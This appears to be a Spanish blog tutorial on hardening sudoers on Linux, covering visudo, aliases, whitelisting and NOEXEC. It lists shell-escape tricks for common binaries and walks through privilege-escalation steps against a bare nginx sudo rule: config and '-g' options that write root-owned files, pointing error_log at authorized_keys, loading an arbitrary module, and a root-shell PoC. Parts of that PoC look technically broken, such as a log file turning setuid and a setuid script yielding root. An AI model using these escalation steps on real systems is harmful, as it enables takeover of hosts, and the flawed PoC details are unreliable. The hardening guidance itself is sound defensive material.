Hardening de sudo
Endurecimiento del sudoers en sistemas GNU/Linux: principios, buenas prácticas y errores críticos a evitar
El comando sudo es una de las herramientas más críticas en cualquier sistema Linux.
Permite que un usuario no privilegiado ejecute acciones como root o como otro usuario, de forma controlada y auditada. Sin embargo, una mala configuración puede convertirlo en la vía más rápida para una escalada de privilegios completa y comprometer toda la infraestructura.
Por ello, es esencial entender cómo funciona, cuáles son sus ventajas, sus riesgos y cómo configurarlo de forma segura y mantenible.
Qué es “sudo” y por qué es esencial
El comando sudo (superuser do) permite delegar permisos concretos a usuarios o grupos para ejecutar comandos específicos como otro usuario.
Sus ventajas principales:
- Trazabilidad: cada comando queda registrado en los logs del sistema.
- Delegación granular: se pueden otorgar permisos muy específicos sin dar acceso total.
- Control temporal: es posible otorgar privilegios solo durante ciertos periodos o circunstancias.
- Menor exposición del usuario root: evita el uso directo de la cuenta más peligrosa del sistema.
Pero también implica riesgos si se configura mal:
- Escalada de privilegios total si se otorgan comandos inseguros.
- Saltos a sub‑shell que otorgan un root shell completo sin intención.
- Ejecución de comandos impredecibles si se confía en rutas o variables no controladas.
- Dependencia de la edición manual del fichero /etc/sudoers, con riesgo de errores críticos.
Uso correcto del sistema modular en /etc/sudoers.d/
Modificar directamente /etc/sudoers es una mala práctica salvo para ajustes mínimos.
La forma correcta, mantenible y limpia de administrar reglas es:
- Crear un fichero por rol o usuario dentro de
/etc/sudoers.d/. - Nombrarlos de forma clara, por ejemplo:
/etc/sudoers.d/deploy/etc/sudoers.d/monitorizacion/etc/sudoers.d/jenkins-ci
- Mantener un control de configuración más sencillo y sin mezclar reglas.
Esto evita conflictos, facilita auditorías y reduce errores que puedan dejar el sistema inutilizable.
El comando visudo: qué es y por qué es obligatorio
El archivo sudoers es extremadamente sensible. Un error de sintaxis puede romper completamente sudo, dejando a los administradores sin capacidad de elevación de privilegios.
visudo sirve para:
- Validar la sintaxis antes de guardar.
- Evitar que dos administradores editen el archivo simultáneamente.
- Permitir configurar un editor seguro, como veremos más adelante.
Siempre debe usarse para editar cualquier archivo sudoers o un archivo dentro de /etc/sudoers.d/:
visudo -f /etc/sudoers.d/nombreUso de ALIAS: simplificar y ordenar la configuración
Los ALIAS permiten definir grupos reutilizables de:
- Usuarios →
User_Alias - Hosts →
Host_Alias - Comandos →
Cmnd_Alias - Runas →
Runas_Alias
Ejemplo básico:
Cmnd_Alias DEPLOY_CMDS = /usr/bin/systemctl restart tomcat, /usr/bin/git pull
User_Alias DEPLOYERS = deploy, jenkins
DEPLOYERS ALL=(root) DEPLOY_CMDSBeneficios:
- Legibilidad.
- Menor duplicación de reglas.
- Modificación centralizada.
Listas blancas y negras de comandos
Listas blancas (whitelisting)
Es la mejor práctica: permitir solo comandos exactos, con rutas completas.
Ejemplo:
usuario ALL=(root) /usr/bin/systemctl restart nginxListas negras (blacklisting) — NO recomendadas
Permitir todo menos ciertas cosas es extremadamente peligroso.
Los usuarios siempre terminan encontrando una forma de escaparse.
Solo deben usarse en escenarios muy específicos.
Denegar ejecución de “exec” para evitar sub‑shell
Muchos comandos permiten lanzar un shell interactivo o ejecutar instrucciones arbitrarias.
Ejemplos típicos:
- vim (
:!bash) - less (
!sh) - awk (con
system()) - find (
-exec /bin/sh) - tcpdump (con
-z) - tar (
--to-command)
Incluso comandos aparentemente inocuos pueden proporcionar RCE (remote code execution).
La forma correcta de evitarlo es:
- No permitir jamás comandos que puedan invocar
exec()o lanzar un shell. - Utilizar la opción
NOEXEC:
usuario ALL=(root) NOEXEC: /usr/bin/commandsudo usa la biblioteca libsudo_noexec.so para bloquear cualquier intento de ejecución de sub‑comandos.
Qué editor usar: evitar editores que permitan ejecutar comandos
Los editores comunes como vim, emacs o incluso nano permiten de una forma u otra ejecutar comandos del sistema si no se configuran medidas adicionales.
Editor recomendado para visudo:
vi -Z(modo restringido)nano -R- Un editor minimalista como
ed - O configurar un editor restringido personalizado.
Configurar el editor seguro:
export EDITOR="/usr/bin/vi -Z"
visudoLista de comandos que nunca deben permitirse con sudo
Esta lista es orientativa pero representa comandos que permiten escape a shell, ejecución arbitraria o manipulación del sistema con privilegios root.
Editores y paginadores
/usr/bin/vim/usr/bin/vi/usr/bin/nano(riesgo de invocar subcomandos)/usr/bin/less/usr/bin/more
Intérpretes y lenguajes
/usr/bin/python*/usr/bin/perl/usr/bin/ruby/usr/bin/bash/usr/bin/sh/usr/bin/zsh/usr/bin/ksh/usr/bin/tclsh
Herramientas con opciones “-exec” o equivalentes
/usr/bin/find/usr/bin/xargs/usr/bin/awk/usr/bin/sed(coneinseguro)/usr/bin/tar/usr/bin/rsync/usr/bin/curl(si permite descargar scripts y ejecutarlos)/usr/bin/wget
Compresores y archivadores
/usr/bin/zip/usr/bin/unzip/usr/bin/ar/usr/bin/cpio
Programas con shells embebidos
/usr/bin/tcpdump/usr/bin/openssl(modo CLI interactivo)/usr/bin/mysql/usr/bin/psql
Cualquier comando que permita modificar ficheros arbitrarios
/usr/bin/cat/usr/bin/tee/usr/bin/dd
Ejemplo de entrada "inocua" y problema de seguridad
Os dejo un ejemplo realista de un error crítico en sudoers al permitir por ejemplo el uso del comando nginx
Cuando un administrador escribe algo como esto en /etc/sudoers:
usuario ALL=(root) NOPASSWD: /usr/sbin/nginxA primera vista puede parecer razonable:
- nginx es un proceso que normalmente gestiona root.
- Solo queremos permitir reinicios, recargas o pruebas de configuración.
- No hay asteriscos ni comodines.
- El administrador piensa que
nginxse refiere al binario principal. - No parece que pueda ejecutar nada más
Pero esta entrada permite escalada de privilegios y manipulación arbitraria del sistema.
Por qué permitir solo /usr/sbin/nginx sigue siendo extremadamente inseguro
El problema está en que sudo no filtra argumentos.
Si permites:
sudo /usr/sbin/nginx
el usuario también puede ejecutar:
sudo /usr/sbin/nginx -c ...sudo /usr/sbin/nginx -g ...sudo /usr/sbin/nginx -t- cualquier combinación de parámetros válidos
Y nginx se ejecuta como root, por lo que cualquier opción que modifique rutas o configuraciones termina permitiendo:
- escritura de ficheros arbitrarios,
- creación de archivos como root,
- carga de módulos
.soy ejecución de código como root, - corrupción de ficheros críticos del sistema,
- ataques indirectos que acaban en root shell (SUID, claves SSH, etc.).
Ejemplos concretos de explotación con /usr/sbin/nginx permitido
1. Usar -c para cargar una configuración manipulada
El atacante crea:
/home/usuario/miconfig.conf
con contenido:
error_log /etc/sudoers;
pid /tmp/owned_by_root;Entonces si se ejecutar:
sudo /usr/sbin/nginx -c /home/usuario/miconfig.confResultado:
- nginx sobrescribe
/etc/sudoers(incluso lo puede dejar vacío o corrupto). - crea
/tmp/owned_by_rootcomo root.
Esto es escalada de privilegios total.
Usar -g para forzar escritura de archivos arbitrarios
Shell
sudo /usr/sbin/nginx -g "error_log /root/.ssh/authorized_keys;"Esto provocará que nginx:
- abra
/root/.ssh/authorized_keyscomo root - lo escriba, trunque o destruya
El atacante puede luego generar claves SSH para entrar como root sin contraseña.
Cargar módulos arbitrarios (ejecución de código como root)
El usuario crea un .so:
/home/usuario/malware.so
Y ejecuta:
sudo /usr/sbin/nginx -g "load_module /home/usuario/malware.so;"Ese módulo es código arbitrario ejecutado literalmente con privilegios root.
Es un compromiso de root directo.
Explotación, ejecución y salida a Shell como root
Un usuario con la línea de llamada a nginx permitida de la forma anterior podría realizar lo siguiente:
# PoC: creación arbitraria de archivos como root
error_log /var/log/poc_nginx_escribe.log info;
pid /tmp/nginx-poc.pid;
events {}
http {
server {
listen 127.0.0.1:8088;
location / {
return 200 "OK\n";
}
}
}Luego tan solo tendría que ejecutar lo siguiente:
sudo /usr/sbin/nginx -c "$HOME/nginx-poc.conf"
curl -s http://127.0.0.1:8088/ >/dev/nullSi se trata de una ruta con permisos heredados podriamos ver que el fichero puede modificarse
ls -l /var/log/poc_nginx_escribe.log
-rwsrwxrwx 1 root root ...Simplemente el usuario editaría el fichero creado y podría incluir en el:
#!/bin/bash
echo "[+] PoC de prueba de Shell de root obtenida"
exec /bin/bash
Tan solo tendría que ejecutar el fichero: /var/log/poc_nginx_escribe.log que realmente no es un LOG, sinó un script.
Una vez obtenida la Shell, comprobamos si hemos realizado o no el escalado:
# id
uid=0(root) gid=0(root) groups=0(root)Cómo debería escribirse una entrada segura de sudoers
Deberiamos tener definidos los comandos permitidos mediante un "Alias" para tenerlos perfectamente identificados, y luego otorgárselos al usuario que lo necesite:
Cmnd_Alias NGINX_SAFE = /usr/sbin/nginx -t, \
/usr/sbin/nginx -s reload, \
/usr/sbin/nginx -s reopen
usuario ALL=(root) NOPASSWD: NGINX_SAFEEn el fichero del /etc/sudoers.d/ del usuario incluiremos:
usuario ALL=(root) NOEXEC: NGINX_SAFE¿Qué estamos logrando?
- No hay comodines.
- Solo se permiten comandos controlados.
- Imposible cargar módulos arbitrarios.
- Imposible pasar
-co-g. - La regla es auditada y comprensible.
Reglas recomendadas
- NOEXEC para evitar sub‑shells desde librerías:
usuario ALL=(root) NOEXEC: COMANDOS_SAFE- Bloquear variables de entorno peligrosas:
Defaults:usuario env_reset, !env_keep+=LD_PRELOAD, !env_keep+=LD_LIBRARY_PATH- Requerir rutas absolutas y sin comodines siempre.
Conclusión
Endurecer el fichero sudoers es una tarea crítica para cualquier entorno profesional.
El uso adecuado de visudo, la separación de configuraciones en /etc/sudoers.d/, el uso correcto de ALIAS, las listas blancas de comandos y la prohibición estricta de herramientas que permitan sub‑shell son elementos esenciales para:
- Minimizar la superficie de ataque.
- Reducir errores humanos.
- Evitar escaladas de privilegios accidentales o maliciosas.
- Asegurar un control claro y auditable de los permisos.
Bien configurado, sudo es una herramienta poderosa y segura. Mal configurado, puede convertirse en el talón de Aquiles de todo el sistema.